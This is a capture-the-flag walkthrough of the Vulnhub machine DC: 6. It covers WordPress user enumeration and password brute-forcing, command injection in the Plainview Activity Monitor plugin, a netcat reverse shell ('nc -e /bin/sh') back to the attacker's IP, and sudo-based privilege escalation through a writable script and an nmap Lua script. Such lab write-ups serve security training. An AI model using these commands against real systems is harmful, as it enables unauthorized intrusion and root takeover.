DC: 6 – Vulnhub | GotRootID

Overall Summary

DC: 6 is a Vulnhub machine that can be found at https://www.vulnhub.com/entry/dc-6,315/ and the exploitation process consists in discovering a WordPress site to then enumerate it to obtain usernames that can be used to brute-force a password. A low privilege shell is obtained by exploiting a vulnerability in the Plainview activity monitor plugin to get RCE via code injection. To get root privileges we would simply check for what we are allowed to execute as sudo with two different users.

Scanning and Enumeration

Starting out with a full TCP scan on nmap reveals two open ports with one being an SSH service and the other one being an HTTP service.

If we try to browse to the HTTP server it will take a few seconds before we get a “server not found” error and if we look at the URL it seems like we are being redirected to a hostname instead of an IP address with the hostname being wordy.

Since the HTTP service is trying to use a hostname to access the web server I’ll add the hostname and the IP address to my hosts file in /etc/hosts with a text editor.

After saving the changes, if we go back to our browser and navigate to http://wordy we will now be able to see what it seems to be a wordpress site.

I’ll now use gobuster to see if I can get some directories or files other than the ones I can already see. Using gobuster I got the following output:

Browsing to the wp-login.php file displays a WordPress login page.

Now that I got a login page and know that WordPress is running on this web server I will use wpscan to to see if a can enumerate some information. This is the command I used to execute WordPress (the -e switch is used to enumerate).

wpscan --url http://wordy/ -e

when looking at the output there is a couple of users that could be retrieved other than the admin username.

I also browsed the other directories that were found by gobuster to see if there were any credentials, specifically passwords since I had already some usernames, but I couldn’t find anything else there. I then also thought that brute-forcing the passwords would be a good idea but using a wordlist like rockyou.txt would take too much time to brute-force, specially if I’m dealing with 4 usernames. Luckily the author of this machine provided us a smaller list of passwords by taking the rockyou.txt file and using only a part of the list. This is the command used to get a shorter password list.

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

I then also created a file called usernames containing the usernames I found (sarah,mark,jens) and used wpscan again to brute-force the password, this is the command I used:

wpscan --url http://wordy -U /home/someuser/usernames -P /home/someuser/passwords.txt

In about 5 minutes it was able to determine mark’s password and it was also the only user that was able to brute-force a password from.

When logged in wit those credentials, I was able to find out the roles of each user and the WordPress version running as highlighted at the bottom.

By looking around for exploits I couldn’t find anything relevant to the for the WordPress version running so I kept looking around and noticed an “Activity Monitor” option at the left side below the Tools option and thought it will probably be worth to check what it was.

From the screenshot we can see that it logs what is being done in the web server. Looking at the other options within the Activity monitor doesn’t reveal a version number that but when I looked at the source code I was able to spot a version number as 20161228 as highlighted in the screenshot.

From the URL I was able to determine the name of the plugin as “Plainview-activity-monitor”.

Exploitation

While I was looking for vulnerabilities in Plainview-activity-monitor for the version 20161228 I was able to come across the following POC:

https://www.exploit-db.com/exploits/45274

The vulnerability basically allows to do command injection as the application passes unsafe data from a user to the IP parameter into activities_overview.php. To take advantage of this vulnerability I navigated first to the Tools option within the Activity monitor.

From here using burp seemed like a good option, so I set up burp to intercept my request when entering an IP address and clicking on Lookup. This is how the request looks on burp:

From the POST request I can see the IP address I typed, so that’s where I will do the command injection. I’ll use the cat command to try to see if I can view the passwd file which is usually something that can be read as any user. This is how the request will look like now:

Looking at the response from the server and scrolling down almost to the end I was able to successfully prove command execution.

To get a reverse shell I used netcat on the target machine to connect back to my attacking machine on port 443 I used used netcat which happened to be available in the target machine. This is the command I used to get a reverse shell:

nc -e /bin/sh 192.168.80.129 443

I was able to successfully get a reverse shell as the www-data user.

If we go the home folder we would see the directories of the users that are in the system and going inside the home directory of mark there is a text file that contains a username and a password for the user graham which is an user in the machine as shown in the passwd file previously.

Since the SSH service was open, I tried to SSH as the graham user and was able to successfully log in.

Post-Exploitation

Elevating privileges was very straightforward as issuing the command “sudo -l” shows that the user can sudo as the user “jens” to execute a backups.sh file.

Navigating to the location of the file I noticed that the user graham can modify the file as it belongs to the devs group.

I edited the file backups.sh and added the following command to execute a shell as the user jens.

#!/bin/bash
/bin/bash -i

I then executed the script as jens using sudo and was able to become the user jens.

If we check for sudo permissions once again, the user jens is able to execute /usr/bin/nmap with sudo as the user root. This version of nmap doesn’t support the interactive mode which would allow me to spawn a shell by running a !sh command, instead I tried to do the following commands to create a script that would spawn a bash shell. This are the commands used to create a script for nmap that will spawn a bash shell:

TF=$(mktemp)
echo 'os.execute("/bin/bash")' > $TF
sudo nmap --script=$TF

Note: This technique was obtained from https://gtfobins.github.io/

I then executed nmap as the root user using sudo and the script that was just created, this is the command I used:

sudo -u root /usr/bin/nmap --script=$TF

I was able to successfully become root.